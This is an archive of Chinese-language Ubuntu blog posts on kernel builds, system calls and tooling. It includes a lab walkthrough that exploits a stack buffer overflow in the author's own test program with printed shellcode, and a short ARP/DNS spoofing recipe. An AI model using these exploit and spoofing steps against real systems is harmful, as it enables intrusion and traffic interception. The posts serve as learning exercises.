顯示具有 ubuntu 標籤的文章。 顯示所有文章
顯示具有 ubuntu 標籤的文章。 顯示所有文章

星期四, 11月 03, 2011

Pratice Buffer Overflow on Ubuntu 10.10

首先準備有漏洞的Buffer Overflow程式
csep@ubuntu:~/src$ cat samp1.c
#include
#include

int main(int argc, char** argv){
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
為了能夠順利練習,需要先關閉Stack Guard、Stack Space Randomization以及Non Executable Stack
1. 關閉Stack Space Randomization
root@ubuntu:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@ubuntu:~# cat /proc/sys/kernel/randomize_va_space
0

2. 關閉Stack Guard,在gcc compile時加上參數
gcc -g -o samp1 samp1.c -fno-stack-protector

3. 關閉Non Executable Stack,需要額外把NX bit關掉
user@ubuntu:~/src$ sudo apt-get install execstack
...
user@ubuntu:~/src$ execstack -s samp1

4. 執行GDB開始Buffer Overflow
csep@ubuntu:~/src$ gdb -q samp1
Reading symbols from /home/csep/src/samp1...done.
(gdb) run `python -c 'print "\x41"*500'`Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*500'`

Program exited normally.
(gdb) run `python -c 'print "\x41"*520'`
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*520'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*512'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*512'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*508'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*508'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*504'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*504'`

Program received signal SIGILL, Illegal instruction.
0xbffff67a in ?? ()
(gdb) run `python -c 'print "\x41"*504'`
可以看到長度約在504之後會寫到EIP,接著看ESP在大概在哪。
(gdb) list
1 #include
2 #include
3
4 int main(int argc, char** argv){
5 char buffer[500];
6 strcpy(buffer, argv[1]); // Vulnerable Function
7 return 0;
8 }
(gdb) b 6
Breakpoint 1 at 0x80483cd: file samp1.c, line 6.
(gdb) run `python -c 'print "\x41"*508'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*508'`

Breakpoint 1, main (argc=2, argv=0xbffff604) at samp1.c:6
6 strcpy(buffer, argv[1]); // Vulnerable Function
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r esp
esp 0xbffff560 0xbffff560
(gdb) p /x 0xbffff560 - 300
$3 = 0xbffff434

從ESP往回算約300,就是要覆寫的ret address。
接著就準備shell code,參考連結
csep@ubuntu:~/src$ ./sc-gen sh
Shellcode lenght: 54
\x31\xc0\x83\xec\x01\x88\x04\x24
\x68\x74\x72\x69\x62\x68\x2e\x64
\x69\x73\x68\x6e\x2f\x73\x68\x66
\x68\x62\x69\x83\xec\x01\xc6\x04
\x24\x2f\x89\xe6\x50\x56\xb0\x0b
\x89\xf3\x89\xe1\x31\xd2\xcd\x80
\xb0\x01\x31\xdb\xcd\x80
csep@ubuntu:~/src$ for line in `./sc-gen sh | grep "x"`; do echo -n $line; done\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80
大致上準備好了,可以Buffer Overflow了。要送出的參數長這樣
[NOP-------] [shell Code] [return Address----]
^--------------------------------------'
只要return address位於NOP中,就可以順利執行Shell Code了。
(gdb) run `python -c 'print "\x90"*302+"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+"\xc4\xf3\xff\xbf"*38'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/csep/src/samp1 `python -c 'print "\x90"*302+"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+"\xc4\xf3\xff\xbf"*38'`

Breakpoint 1, main (argc=2, argv=0xbffff604) at samp1.c:6
6 strcpy(buffer, argv[1]); // Vulnerable Function
(gdb) c
Continuing.
process 13123 is executing new program: /bin/bash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

csep@ubuntu:/home/csep/src$
Boom! 拿到Shell了。

星期二, 4月 26, 2011

bind9 failed to start : resolvconf: Error: /etc/resolv.conf must be a symlink

解法如下:
#cd /etc/resolvconf/
mkdir run
sudo mv ../resolv.conf ./run/
sudo ln -s /etc/resolvconf/run/resolv.conf /etc/resolv.conf
cd /etc/resolvconf/run/
mkdir interface
/etc/init.d/bind9 restart

Okay, let's all.

星期六, 1月 22, 2011

Hello World of Linux Kernel Module Development

花了好些時間從算搞定。

首先先編譯Kernel,參照下列網址

http://blog.avirtualhome.com/2010/11/06/how-to-compile-a-ubuntu-10-10-maverick-kernel/
http://duopetalflower.blogspot.com/2010/10/ubuntu-maverick-64bit-kernel.html

編譯好裝上新Kernel後,就可以在/lib裡頭看到新的kernel了。

接著在home目錄下編輯hello.c
#include
#include
#include
MODULE_LICENSE("Dual BSD/GPL");
static int hello_init(void)
{
printk(KERN_ALERT "Hello, world\n");
return 0;
}

static void hello_exit(void)
{
printk(KERN_ALERT "Goodbye, cruel world\n");
}

module_init(hello_init);
module_exit(hello_exit);
接著再編輯Makefile
obj-m := hello.o // 目標module
KERNELDIR = /lib/modules/2.6.35-24-cacore/build // 2.6.35-24-cacore是編譯過的Kernerl名稱
default:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
接著執行make,應該會出現hello.ko檔
然後
#sudo insmod hello.ko
可以裝上module

#sudo rmmod
會移除module

完成!

後記:用inmod不會去檢查相依性,所以建議改用modprobe
下列是新增及移除的方法
#modprobe module [parameter]
#modprobe -r module

星期日, 5月 16, 2010

Ubuntu One on Aspire One can't scroll mouse

as title, 所以找了方法。

紀錄一下日後可用。

sudo modprobe -r psmouse
sudo modprobe psmouse proto=imps

如果可以的話,就把
options psmouse proto=imps
加到/etc/modprobe.d/options裡面,done.

ref:Link

星期六, 5月 01, 2010

DNS Spoofing

用了幾項工具來完成。
1.dnsspoof
2.arpspoof
3.fragrouter

過程如下
1.設定好IP forwarding
#fragrouter -i eth0 -B1

2.接收LAN的封包
#arpspoof [spoof ip]
通常spoof的ip為LAN的router

3.將要改的dns放到dnsspoof.host檔案以後
#dnsspoof -f ./dnsspoof.host

OK.

星期六, 4月 10, 2010

Smash Stack Disable

-fstack-protector Ubuntu下的GCC compile時預設啟動了此參數,如果想要測試一些stack overflow的程式會出現問題如下:

*** stack smashing detected ***: ./a.out terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xb7f5b6d8]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xb7f5b690]
./a.out[0x80484cf]
[0x78787878]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 5620003    /home/cacaegg/src/a.out
08049000-0804a000 r--p 00000000 08:01 5620003    /home/cacaegg/src/a.out
0804a000-0804b000 rw-p 00001000 08:01 5620003    /home/cacaegg/src/a.out

解決方法就是在compile時加上-fno-stack-protector就可以了。

星期日, 3月 28, 2010

Download File and Check MD5

每次都要重複下載,使用md5sum來確認等重複的動作,乾脆寫個script來直接作吧!
#!/usr/bin/python
import os, sys, re, subprocess
#argument checking
if len(sys.argv) <= 1:
        print "Usage:%s URL [md5]" % (sys.argv[0])
        sys.exit(0)
]
print "Downloading..."
args = ["/usr/bin/wget", sys.argv[1]
p = subprocess.Popen(args)
p.wait()

print "Checking MD5..."
filename = re.split("/", sys.argv[1])[-1]
if len(sys.argv) == 3:
        md5file = open("tmp.md5", "w+")
        md5file.write("%s  %s\n" % (sys.argv[2], filename))
        md5file.close()
        p = subprocess.Popen(["/usr/bin/md5sum", "-c", "tmp.md5"])
        p.wait()
        os.remove("tmp.md5")
整個script做的動作是
1.下載檔案,並解析該檔名
2.如果有提供MD5就進行MD5 check

另外subprocess是2.4版後用來執行系統中程式用的
class subprocess.Popen(args, bufsize=0, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=False, shell=False, cwd=None, env=None, universal_newlines=False, startupinfo=None, creationflags=0)
可以只給arg,用sequence的形式,好處是都可以直接自行指定stdin, stdout, stderr。

星期日, 3月 21, 2010

使用tor & SASL上XChat

為了能在FreeNode上發言,又不想透露自己IP,當然要結合一下Tor。

步驟如下
1.在/etc/tor/torrc中
最後一行加上mapaddress 10.40.40.40 p4fsi4ockecnea7l.onion

2./etc/init.d/tor restart

3.打開xchat,新增一個Network,暫時叫做TorifiedFreeNode

4.點Edit進行編輯
在Serverlist中加上 10.40.40.40

5.因為要用Tor連到FreeNode還需要SASL驗證,所以要下載plugin
http://adipose.attenuate.org/~stephen/ircd-seven/sasl/cap_sasl.py

cd ~/.xchat2
wget http://adipose.attenuate.org/~stephen/ircd-seven/sasl/cap_sasl.py


6.重新開啟xchat

7.連上TorifiedFreeNode,在Command裡打上
/SASL -set TorifiedFreeNode Nick Password

就可以在irc上隱藏自己的位置囉!
PS.步驟七會出現Command Unknown是正常情況,小bug,不影響使用

參考:
http://freenode.net/irc_servers.shtml#tor
http://74.125.153.132/search?q=cache:xXSITmoGGEwJ:sleepyirc.net/wiki/SASL+sasl+xchat&cd=1&hl=zh-TW&ct=clnk&gl=tw

星期六, 3月 20, 2010

Backtrack環境設定

1. Vim
當然要先設定好Vim,預設似乎是安裝vin-tiny,所以

#apt-get install vim

來把Vim完整裝上去。然後在Home目錄下放.vimrc
關於設定參考了http://plog.longwin.com.tw/post/1/369

2. 中文字型
下載http://wiki.0x209.org/Ubuntu-Chinese_Font_Installer

之後執行此script就可以了。

3. FF最新版
因為預設只有裝3.0,所以需要一些小步驟。
Step 1.下載Ubuntuzilla然後進行安裝並用apt-get insstall -f去確認相依性。

# wget http://downloads.sourceforge.net/sourceforge/ubuntuzilla/ubuntuzilla-4.6.1-0ubuntu1-i386.deb?use_mirror=surfnet
# dpkg -i ubuntuzilla-4.6.1-0ubuntu1-i386.deb
# apt-get install -f


Step 2.執行script

# ubuntuzilla.py -a install -p firefox

會被安裝在/opt/firefox裡面。

最後如果要復原的話

# ubuntuzilla.py -a remove -p firefox

就可以了。

參考自http://forums.remote-exploit.org/backtrack-4-howto/24741-install-firefox-3-5-bt4-pre-final.html

星期日, 2月 21, 2010

自訂Python的import path

在import時,python會去搜尋sys.path中的每個entry。
而sys.path又是從下述所串接起來的
1.執行程式的目錄
2.PYTHONPATH環境變數
3.標準程式庫目錄(安裝時候就已經決定了)

所以若要自行新增,就需增加PYTHONPATH這環境變數。

cacaegg@cacabook:~$ export PYTHONPATH="/home/cacaegg/lib"
cacaegg@cacabook:~$ echo $PYTHONPATH
/home/cacaegg/lib
cacaegg@cacabook:~$ python
Python 2.6.4 (r264:75706, Dec 7 2009, 18:45:15)
[GCC 4.4.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> print sys.path
['', '/home/cacaegg/lib', '/usr/lib/python2.6', '/usr/lib/python2.6/plat-linux2', '/usr/lib/python2.6/lib-tk', '/usr/lib/python2.6/lib-old', '/usr/lib/python2.6/lib-dynload', '/usr/lib/python2.6/dist-packages', '/usr/lib/python2.6/dist-packages/Numeric', '/usr/lib/python2.6/dist-packages/PIL', '/usr/lib/python2.6/dist-packages/gst-0.10', '/usr/lib/pymodules/python2.6', '/usr/lib/python2.6/dist-packages/gtk-2.0', '/usr/lib/pymodules/python2.6/gtk-2.0', '/usr/lib/python2.6/dist-packages/wx-2.6-gtk2-unicode', '/usr/local/lib/python2.6/dist-packages', '/usr/local/lib/python2.6/dist-packages/pygoogle']
>>> import python.lang
>>> quit()
cacaegg@cacabook:~$ ls lib/python/
__init__.py __init__.pyc lang.py lang.pyc


此外需注意,由於從python.lang這樣方式去import的,所以python目錄底下需要__init__.py檔案才行。(空白的就好)

星期六, 11月 28, 2009

Ubuntu中加入System call

首先在/usr/src/linux/kernel/sys.c中加入想要的syscall如下

/* adding helloworld system call */
#include

asmlinkage int sys_helloworld() {
printk(KERN_EMERG "Hello World!\n");
return 0;
}

當然也可以自行新增.c檔案,但是要記得#include
說明一下,asmlinkage表示我們的程式碼是用c寫的,而非c++
printk會把string放到/var/log/syslog中,
KERN_EMERG表示此log等級是緊急了(當然是在此亂打的)
然後還有3個檔案要修改的分別是

/usr/src/linux/arch/x86/include/asm/unistd_32.h中加上
#define __NR_helloworld 337
後面的號碼要記得看最後一個syscall號碼在加上1,
此號碼用來定義syscall的唯一編號

/usr/src/linux/arch/x86/include/asm/syscalls.h
在這些註解後面
/* X86_32 only */
/* kernel/sys.c */
加上
asmlinkage int sys_helloworld();
用來註冊system call

/usr/src/linux/arch/x86/kernel/syscall_table_32.S
加上
.long sys_helloworld

然後重新編譯核心
就可以來測試囉!

#include
#include
#include

#define __NR_helloworld 337 /* or whatever you set it in unistd.h */

int helloworld() {
return (int) syscall(__NR_helloworld);
};

main () {
printf("The return code from the helloworld system call is %d\n", helloworld());
}


此文章參考自:http://macboypro.wordpress.com/2009/05/15/adding-a-custom-system-call-to-the-linux-os/

星期六, 11月 21, 2009

Build up a kernel in Ubuntu

花了不少時間總算裝好kernel,

簡述一下步驟。

首先先抓個kernel

wget -c http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.31.4.tar.bz2


接著解壓縮在某個資料夾

tar -xvf linux-2.6.31.4.tar.bz2


在那資料夾


% sudo make menuconfig
% sudo make clean
% sudo make
% sudo make install
% sudo make modules
% sudo make modules_install
% sudo update-initramfs -c -k 2.6.31.4
% sudo update-initramfs -c -k 2.6.31.4-custom
% sudo vim /boot/grub/menu.lst

make menuconfig:在此設定有關kernel的設定,以及各種模組
make clean:清除之前make的檔案
make:編譯kernel
make install:把kernel安裝到系統中 /boot目錄之下
到此為止,可能有些機器可行,有些不行,
會在開機時會遇到kernel panic - not syncing: VFS : unable to mount root fs on unknown block(0,0)
則表示kernel沒有此driver去把disk mount,
Linux下有個特別的方法--initramfs,
讓grub先把此image load好,此image中會有一些必須的driver,就可以解決了
所以在menu.list中再用此設定

title Ubuntu 9.10, kernel 2.6.31.4-custom (recovery mode)
root (hd0,0)
kernel /boot/vmlinuz-2.6.31.4-custom root=UUID=b3d28e09-397a-4a8c-8c76-04b1845ab6b8 ro single
initrd /boot/initrd.img-2.6.31.4-custom

下次開機時就會有此選單了。

星期五, 7月 10, 2009

Text-based mail client

想在ubuntu的console下用文字收信,有個老牌的軟體pine

只是apt中好像把他停用了,找到了另外一個alpine

就幾乎跟pine一模一樣了。


cacaegg@cacabook:~$ sudo apt-get install alpine
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
libswfdec-0.8-0
Use 'apt-get autoremove' to remove them.
The following NEW packages will be installed:
alpine
0 upgraded, 1 newly installed, 0 to remove and 1 not upgraded.
Need to get 2913kB of archives.
After this operation, 6636kB of additional disk space will be used.
Get:1 http://tw.archive.ubuntu.com jaunty/universe alpine 2.00+dfsg-2ubuntu2 [2913kB]
Fetched 2913kB in 2s (976kB/s)
Selecting previously deselected package alpine.
(Reading database ... 259353 files and directories currently installed.)
Unpacking alpine (from .../alpine_2.00+dfsg-2ubuntu2_i386.deb) ...
Processing triggers for man-db ...
Setting up alpine (2.00+dfsg-2ubuntu2) ...
cacaegg@cacabook:~$ alpine

就可以使用囉!